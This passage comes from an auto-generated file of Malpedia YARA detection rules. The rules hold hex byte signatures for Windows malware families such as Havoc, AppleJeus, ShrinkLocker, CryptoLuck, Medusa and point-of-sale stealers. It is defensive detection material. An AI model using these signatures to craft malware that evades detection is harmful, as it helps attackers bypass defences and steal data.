		$sequence_0 = { 57 4883ec20 488bf9 4c8d0df8c50000 b903000000 4c8d05e4c50000 }
		$sequence_1 = { 488bec 4883ec40 488d45e8 48894de8 488945f0 488d15c0a80000 b805000000 }
		$sequence_2 = { 488d0d620b0000 e8???????? e8???????? 488d15794a0100 488d0d524a0100 }
		$sequence_3 = { 81f95d68fa3c 0f85a3000000 4d8b5620 41bfffff0000 }
		$sequence_4 = { 895128 488d0d6fa90000 488b45d8 488908 }
		$sequence_5 = { 4533ff 443b432c 723d 450fb75a06 410fb7d7 66453bfb 732b }
		$sequence_6 = { 4c8d442458 488d4c2438 e8???????? 4c8d4820 4889442420 4c8bc3 488d5588 }
		$sequence_7 = { 488bd8 483b5c2440 e9???????? c644243000 488d8570060000 4889442428 4c8d4c2450 }
		$sequence_8 = { 48894a08 488d4c2420 e8???????? 488d05ce3a0100 488903 488bc3 }
		$sequence_9 = { cc 4883ec48 488bd1 488d4c2420 e8???????? 488d15dcdc0100 }
	condition:
		7 of them and filesize < 389120
}

rule MALPEDIA_Win_Nitlove_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "84765628-80ab-5981-9ee3-a789670212a2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitlove"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nitlove_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "6dc343446a186927b9f2cf65101150f5f9c6342bdace19bd149edbf93300570a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 57 6a0b 59 be???????? 8d7dc8 f3a5 b902000080 }
		$sequence_1 = { 03f0 c1e007 33f0 42 3bd7 7ce9 33c0 }
		$sequence_2 = { b359 51 8d857cffffff 50 51 }
		$sequence_3 = { 6a00 6aff ffd0 bab2bb282b 8bcb }
		$sequence_4 = { 6aff ffd7 0fb785dcfeffff 33c9 ba1e3d0000 66898c0504feffff }
		$sequence_5 = { ba4d8a978a 8bcb e8???????? ffd0 51 }
		$sequence_6 = { 56 57 83ceff 33ff 8bd9 85d2 7e21 }
		$sequence_7 = { 6a05 ffd6 833b00 747a 33db }
		$sequence_8 = { e8???????? 8b45ec 83c43c 5f }
		$sequence_9 = { 33f6 8b45f0 0345e4 8b4dd4 }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Havoc_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5b73e703-1ccd-5166-ac2d-206885cae394"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.havoc"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.havoc_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "81f90ef0d0bf3fd238a11a66b3faf732476c67ba4c05a3cc03c8bd35850d8f8f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7512 31c0 80bc245e01000001 0f94c0 }
		$sequence_1 = { 4489c0 4501c0 c0e807 4531cf 448a4afe }
		$sequence_2 = { 884c2439 8a4c243a 8844243a 8a442436 884c2432 8a4c243e 8844243e }
		$sequence_3 = { 4154 55 89cd b940000000 }
		$sequence_4 = { 83f902 7512 31c0 80bc245e01000001 0f94c0 }
		$sequence_5 = { 488b01 ff5018 85c0 75e2 488b0b }
		$sequence_6 = { 4889cb 4883ec78 4885c9 7507 31c0 e9???????? 4889d1 }
		$sequence_7 = { 4883ec20 e8???????? 488b06 488b5608 488983f0000000 488993f8000000 488d65f0 }
		$sequence_8 = { 4989d0 31d2 4c898c2488000000 498b0424 4c8d8c2480000000 4c894c2438 4c894c2428 }
		$sequence_9 = { 7407 488b442428 eb1b 488b06 4883c9ff }
	condition:
		7 of them and filesize < 164864
}

rule MALPEDIA_Win_Applejeus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c7de82bf-02e2-54ab-8e92-30ad8fa19555"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.applejeus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.applejeus_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "7da7577e0a48835aa3f87ca6b5019a6bd26bede335ed264656ca8273c5cb6ea4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bb540eeffff 56 ff15???????? 56 ffd7 ffb5e0edffff ffd7 }
		$sequence_1 = { 8bc8 51 e8???????? 83c404 c7460800000000 c7460400000000 ff36 }
		$sequence_2 = { 8b75e4 83c410 0bf0 c745d8d4b24500 8d45dc 50 e8???????? }
		$sequence_3 = { 8bf8 ffd6 ffb5b0fdffff 8bb588feffff 8bc8 b8ed73484d }
		$sequence_4 = { 897008 e8???????? 8d8dd8ecffff e8???????? 8d8dd4efffff e8???????? 6a64 }
		$sequence_5 = { 6a08 c645fc16 e8???????? 83c404 8985e4f6ffff 898568f4ffff c700???????? }
		$sequence_6 = { 0f84d3000000 8b048d74db4500 8985a4f8ffff 85c0 0f8498000000 83f801 0f84b5000000 }
		$sequence_7 = { 8bf0 6a0c 8975e4 8975d0 0f114604 c706???????? f30f7e45c4 }
		$sequence_8 = { 8885fcfcffff 8b85dcfcffff 041d 83f05c 8885fdfcffff 8b85dcfcffff }
		$sequence_9 = { 8b4308 33ff 807e2c00 8945c4 0f842e010000 8b4808 0f57c0 }
	condition:
		7 of them and filesize < 1245184
}

rule MALPEDIA_Win_Lock_Pos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "66d7719a-09f7-5449-96c8-7a2badb35721"
		date = "2024-10-31"
		modified = "2024-11-11"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lock_pos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lock_pos_auto.yar#L1-L147"
		license_url = "N/A"
		logic_hash = "68264cf97fe11e22f20de5aa9fd8236aae89e24686e8c6b06c621f87466b5d04"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20241030"
		malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4"
		malpedia_version = "20241030"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bec 8b4508 8b0d???????? 8b0481 }
		$sequence_1 = { 8bec 837d0800 7704 33c0 }
		$sequence_2 = { 6a00 6a23 6a00 ff15???????? 8d8df8fdffff }
		$sequence_3 = { 55 8bec 81eca4040000 56 }
		$sequence_4 = { 8d85f8fdffff 50 6a00 6a00 6a23 }
		$sequence_5 = { 6a00 32db e8???????? 8bf8 59 59 85ff }
		$sequence_6 = { 8b450c 85c0 740a 8b55f8 8911 8b4dfc 8908 }
		$sequence_7 = { ff15???????? 85c0 7555 57 6a04 8d45e4 50 }
		$sequence_8 = { 8b4de4 034804 894de4 8b55f0 8b45f0 034204 8945f0 }
		$sequence_9 = { 6a04 8b4508 50 8d4dec 51 e8???????? 83c40c }
		$sequence_10 = { 8908 837df400 740b 8b55f4 }
		$sequence_11 = { 837dfc00 7414 8b450c 50 8b4d08 51 }
		$sequence_12 = { 8b45dc 83e801 8945dc 85d2 0f843a010000 8b4df4 668b11 }
	condition:
		7 of them and filesize < 319488
}

rule MALPEDIA_Win_Telepowerbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4bff86f2-d32a-5469-938e-31ce8cf733ec"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.telepowerbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.telepowerbot_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "80a377e11ec6e9ac3641490e489c4670d07e0d249413d61709ebf14e5db777cd"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a01 68???????? 6a01 50 68???????? ff75f8 ffd6 }
		$sequence_1 = { 817848d0924100 7409 ff7048 e8???????? 59 }
		$sequence_2 = { ff348518234100 52 51 e8???????? 83c40c }
		$sequence_3 = { 43 03c3 03c7 ff348518234100 52 51 e8???????? }
		$sequence_4 = { eb55 0fb607 0fbe8800914100 41 894dd4 3bca 0f8f9e010000 }
		$sequence_5 = { f20f59db 660f282d???????? 660f59f5 660f28aaf05e4100 660f54e5 660f58fe 660f58fc }
		$sequence_6 = { eb07 8b04f5cc4e4100 5f 5e 5b }
		$sequence_7 = { 8b8d84f8ffff 85c9 0f84b5050000 8b048d5c3d4100 8985a8f8ffff }
		$sequence_8 = { c1ff06 6bd838 8b04bdf09d4100 f644032801 7444 837c0318ff }
		$sequence_9 = { 85c9 0f84b5050000 8b048d5c3d4100 8985a8f8ffff 85c0 7562 }
	condition:
		7 of them and filesize < 237568
}

rule MALPEDIA_Win_Mmon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4eb1ee5b-1ba9-50c6-ae95-4549a25a6630"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mmon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mmon_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "76045ffea1c47426874a11f386aa4b20c1d58a676ebe84d462f434375b141ab2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bf8 8b4710 3bc8 770d 83c8ff 8bf7 e8???????? }
		$sequence_1 = { 837e0800 7610 8b4608 8d80ec584200 fe08 803800 }
		$sequence_2 = { e8???????? ebd2 8bc3 c1f805 8d3c85606a4200 8bf3 83e61f }
		$sequence_3 = { ff15???????? 899ec0000000 899ec4000000 c786c8000000e0e74100 c786cc00000068ec4100 c786d0000000e8ed4100 }
		$sequence_4 = { 68???????? 8d4df4 51 c745f440e24100 }
		$sequence_5 = { 8bc8 894de4 85c9 747b 8b55d4 85d2 }
		$sequence_6 = { 83e71f c1e706 8b0485606a4200 8d44380c }
		$sequence_7 = { 8bc8 c1f905 8d3c8d606a4200 8bf0 83e61f c1e606 8b0f }
		$sequence_8 = { 8b0d???????? 85c9 7406 8b55ec }
		$sequence_9 = { 6a00 8bf1 c745d000000000 ff15???????? 8bf8 33c0 4f }
	condition:
		7 of them and filesize < 356352
}

rule MALPEDIA_Win_Shakti_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "46b500e9-a975-5cdc-a985-5108deee61aa"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shakti"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shakti_auto.yar#L1-L175"
		license_url = "N/A"
		logic_hash = "b5c0b26c5dc41457d9e16bd381b5ef6f5c4b5edd5ff24e7078690fca0d450c8b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 894df0 e9???????? 8b55fc 83c214 }
		$sequence_1 = { 894dfc e9???????? 8b55f8 8b45d8 }
		$sequence_2 = { 8945ec 8b4dec 8b55c0 0311 8955d0 8b45d0 8b4dc0 }
		$sequence_3 = { 894dcc 8b55fc 83c208 8955f0 8b45cc }
		$sequence_4 = { 8b4de0 8b11 8955e0 e9???????? 8b45d8 }
		$sequence_5 = { 894df0 8b55fc 8b45d8 034210 8945e0 8b4de0 }
		$sequence_6 = { 0311 8b45e0 8910 eb1e 8b4de0 8b55d8 0311 }
		$sequence_7 = { 8955f8 8b45f8 813850450000 7502 eb0b 8b4dc0 83e901 }
		$sequence_8 = { ff75f4 8b35???????? ffd6 53 ff750c 8945f4 }
		$sequence_9 = { 50 ff7594 e8???????? 2b7598 ff7598 }
		$sequence_10 = { 8945f8 8b801c090000 8945fc ff75f8 68edacef0d 8b45fc ffd0 }
		$sequence_11 = { 894810 894808 c3 56 }
		$sequence_12 = { 3b1cfdb0a24000 7409 47 897dfc 83ff17 72ee 83ff17 }
		$sequence_13 = { 66837d6c01 7308 893d???????? eb14 8b07 a3???????? 833d????????ff }
		$sequence_14 = { 83ec1c 53 8b1d???????? 85db 0f84dd000000 8d45e4 }
		$sequence_15 = { 0f848a000000 ff750c 8d45f8 ff7508 8d4df0 e8???????? }
	condition:
		7 of them and filesize < 191488
}

rule MALPEDIA_Win_Unidentified_081_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4bef4e35-3450-5f50-98ad-424279417112"
		date = "2023-12-06"
		modified = "2023-12-08"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_081"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_081_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "0bf113d92abe743278ae5a94b3d8f7a48f5ba7f91d2e79f1d3ac361b6c786f4e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20231130"
		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
		malpedia_version = "20230808"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8985c8fdffff 83f808 0f84ab090000 83f807 0f8777090000 ff24854fa44000 33c0 }
		$sequence_1 = { c74518f0944100 50 8d4dc4 e8???????? 68???????? 8d45c4 }
		$sequence_2 = { 68???????? b9???????? e8???????? c645fc03 33c0 }
		$sequence_3 = { eb02 33c0 8bbdc8fdffff 6bc009 0fb6bc38e8544100 8bc7 89bdc8fdffff }
		$sequence_4 = { 8b7508 c7465c48554100 83660800 33ff }
		$sequence_5 = { c645fc01 33c9 66a3???????? 66390d???????? 8bc6 c705????????07000000 0f44c1 }
		$sequence_6 = { 88440a34 8b049dd0d14100 c744023801000000 e9???????? ff15???????? 8bf8 }
		$sequence_7 = { 83e61f c1f805 c1e606 8b0485d0d14100 80643004fd 8b45f8 }
		$sequence_8 = { 6a01 6a00 f7d8 50 53 ff15???????? 8b8d34ffffff }
		$sequence_9 = { ff15???????? 837c241001 7507 b101 e8???????? 8b35???????? }
	condition:
		7 of them and filesize < 273408
}

rule MALPEDIA_Win_Mistpen_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "da7a11f3-113a-5db0-8b14-11346c846c77"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mistpen"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mistpen_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "70ffa3f473a1017022fe8085a2fe1094ee2434500473a4c1dd94bcb7c2db0a7a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7602 ffc0 4585c0 8bf0 }
		$sequence_1 = { 420fb6842090960200 4433d8 45335ffc 4533da 458bd3 45895e20 4533d0 }
		$sequence_2 = { 4533848460850200 410fb6c3 4533848460750200 400fb6c7 4533848490920200 4533465c 418bc0 }
		$sequence_3 = { 4403c1 418bcb 410bca 458bc8 23cf 41c1c91b }
		$sequence_4 = { 4c8d0d74d70000 b919000000 4c8d0564d70000 488d1561d70000 e8???????? 4885c0 7420 }
		$sequence_5 = { c1e31e 8bcf 410bcd 8bc7 4123cf 4123c5 0bc8 }
		$sequence_6 = { 458b8c9460810200 4133bc8490920200 418bc0 41337e20 c1e808 0fb6c8 8bc3 }
		$sequence_7 = { 83f838 7cec 8b4c2458 8bc1 c1e818 884594 8bc1 }
		$sequence_8 = { 488d45e8 48894de8 488945f0 488d1590d10000 b805000000 894520 }
		$sequence_9 = { 7e1d 488b5588 4c8d4c2450 458bc4 498bce }
	condition:
		7 of them and filesize < 458752
}

rule MALPEDIA_Win_Shrinklocker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2766ab1f-0f76-5831-84d1-b9f95003f3f6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shrinklocker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shrinklocker_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "51a8eff3d0e892d08ca7cb6cb77d8a510f6bbf09ab967ba64d6200c00464e9c5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { a804 7409 488d1db94c0300 eb14 a802 488d1dc64c0300 488d05d74c0300 }
		$sequence_1 = { 4803c8 488bc1 488b4d20 488b95d8000000 488d0c51 4c8bc0 488b4538 }
		$sequence_2 = { 488b4c2460 898110170000 e9???????? 8b442468 ffc8 488b4c2460 4881c1bc000000 }
		$sequence_3 = { 4c896310 4d8bc6 48897318 488bcf 4883fd0f 7648 488b33 }
		$sequence_4 = { e8???????? 488b4c2430 48894c2420 4c8b4c2458 4c8b442460 488b4c2450 488b5110 }
		$sequence_5 = { e8???????? 88442425 488b8c2480000000 488b09 48634904 488b942480000000 }
		$sequence_6 = { eb58 b804000000 4869c000010000 488b4c2468 0fb70401 488b4c2460 8b8910170000 }
		$sequence_7 = { 8b84815c270100 4803c1 ffe0 488b442430 83781000 7511 }
		$sequence_8 = { 2500e00000 85c0 7424 488b842410010000 488d0de2300400 48894820 488b442430 }
		$sequence_9 = { 488d54242f 488d4c2458 e8???????? 90 c644243011 488d542430 488d4c2458 }
	condition:
		7 of them and filesize < 10490880
}

rule MALPEDIA_Win_Cryptoluck_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d021de73-27cb-5bec-a5d2-3e18a59babc5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoluck"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cryptoluck_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "962cd1309df7966b05578e3a6dacac6ddd19906dbb39c069d91052b1b1100225"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 837d1000 7409 c745d880720010 eb07 c745d878720010 837d1000 7409 }
		$sequence_1 = { 83c40c 8945f4 6a00 6880000000 6a02 6a00 6a01 }
		$sequence_2 = { 83ec20 8d45f8 50 8b4d08 51 ff15???????? 8b55fc }
		$sequence_3 = { 51 837d1801 730f 8b4514 50 }
		$sequence_4 = { 52 ff15???????? 898504f0ffff 680f040000 8b8504f0ffff 8d8c05e8fbffff }
		$sequence_5 = { 8b4508 69c0100e0000 99 03c8 13f2 894de8 }
		$sequence_6 = { f610 57 4c 2434 cd40 0234d2 2d734ce893 }
		$sequence_7 = { 8b45c8 83c001 8945c8 8b4dc0 83e901 894dc0 ebe0 }
		$sequence_8 = { 8b4de8 51 8b55fc 2b55f4 52 8b45f8 }
		$sequence_9 = { ff15???????? 898540ffffff 83bd40ffffff00 7472 8b8d40ffffff 51 8b55e0 }
	condition:
		7 of them and filesize < 229376
}

rule MALPEDIA_Win_Ice_Event_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "efa7e53a-c463-50f7-ba83-6d9ec3219251"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_event"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ice_event_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "ef09062340f20eb30ff347046cee2303e5aa0ba34beeb1b65aa69fb96594e3f6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48c74424780f000000 c644246000 488b4598 4883f810 }
		$sequence_1 = { 3b0d???????? 7326 4863c9 488d15b4080100 488bc1 83e13f }
		$sequence_2 = { 48c743180f000000 c60300 8bc6 488b4c2478 4833cc e8???????? 4c8d9c2480000000 }
		$sequence_3 = { 4863f8 4803f7 4983c9ff 4c8bc7 488d542430 488d4dc8 }
		$sequence_4 = { 4156 4883ec28 488b4210 498bf9 498bf0 }
		$sequence_5 = { 660f28d1 660f28c1 4c8d0d8b9f0000 f20f101d???????? f20f100d???????? }
		$sequence_6 = { 488bcb 4a8d1441 482bf5 4c8d3436 }
		$sequence_7 = { 4833cc e8???????? 488b9c24a0110000 4881c470110000 5f }
		$sequence_8 = { 8bce 894d30 8bc6 894538 ffc3 83fb3c 0f8c6cffffff }
		$sequence_9 = { 488bce e8???????? eb55 4c896d68 48c745700f000000 }
	condition:
		7 of them and filesize < 331776
}

rule MALPEDIA_Win_Medusa_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d20a8f8a-0c40-56df-b905-5b8d6ebe61b2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.medusa"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.medusa_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "bf22f346b79f830cfb557e80bea02849fba4fc00ac522de893ed484b5992cd17"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e1fb 1cc9 3ca5 2c8e a1???????? d528 }
		$sequence_1 = { ff7100 52 ff7200 53 ff7300 54 }
		$sequence_2 = { 6a00 4b ff6b00 4c ff6c004d ff6d00 4e }
		$sequence_3 = { 0050ff 7000 51 ff7100 }
		$sequence_4 = { 53 ff7300 54 ff740055 ff7500 56 }
		$sequence_5 = { 8b4c6386 8608 5f e1fb 1cc9 3ca5 2c8e }
		$sequence_6 = { 0c48 b5f9 43 324dd5 1ddf859f31 }
		$sequence_7 = { 0000 aa 05854cffab 004893 }
		$sequence_8 = { 05854cffab 004893 3eb35b 813bf80937dc 8b4c6386 }
		$sequence_9 = { 1cc9 3ca5 2c8e a1???????? d528 32f4 }
	condition:
		7 of them and filesize < 1720320
}

rule MALPEDIA_Win_Sunorcal_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6c432810-e8f0-5844-8d29-cb8f4d1dde8c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sunorcal"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sunorcal_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "5b9405aaca8472dd7d7babc873d4fa797ade7b01d47ace52674d0f1fda5d55c6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5b c21000 8b442404 8b00 813863736de0 752a 83781003 }
		$sequence_1 = { 6a03 e8???????? cc 55 8bec 83ec0c }
		$sequence_2 = { 6a03 e8???????? cc 55 8bec 83ec0c a1???????? }
		$sequence_3 = { 68b7000000 ff15???????? 6a64 68???????? 6a67 }
		$sequence_4 = { 68???????? ff15???????? 33c0 c3 c3 55 8bec }
		$sequence_5 = { ff15???????? 68b7000000 ff15???????? 6a64 68???????? }
		$sequence_6 = { ff15???????? 6a03 e8???????? cc 55 8bec 83ec0c }
		$sequence_7 = { c21000 8b442404 8b00 813863736de0 752a 83781003 7524 }
		$sequence_8 = { c21000 8b442404 8b00 813863736de0 }
		$sequence_9 = { 7c02 eb0e e8???????? e8???????? 85c0 }
	condition:
		7 of them and filesize < 172032
}

rule MALPEDIA_Win_Multigrain_Pos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f032b4ba-8128-5978-8559-debc3caa42cc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.multigrain_pos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.multigrain_pos_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "57d310c472fb68cb78caa9b432b3db45871bc6e9132f2a98edf83ac773bc72f9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
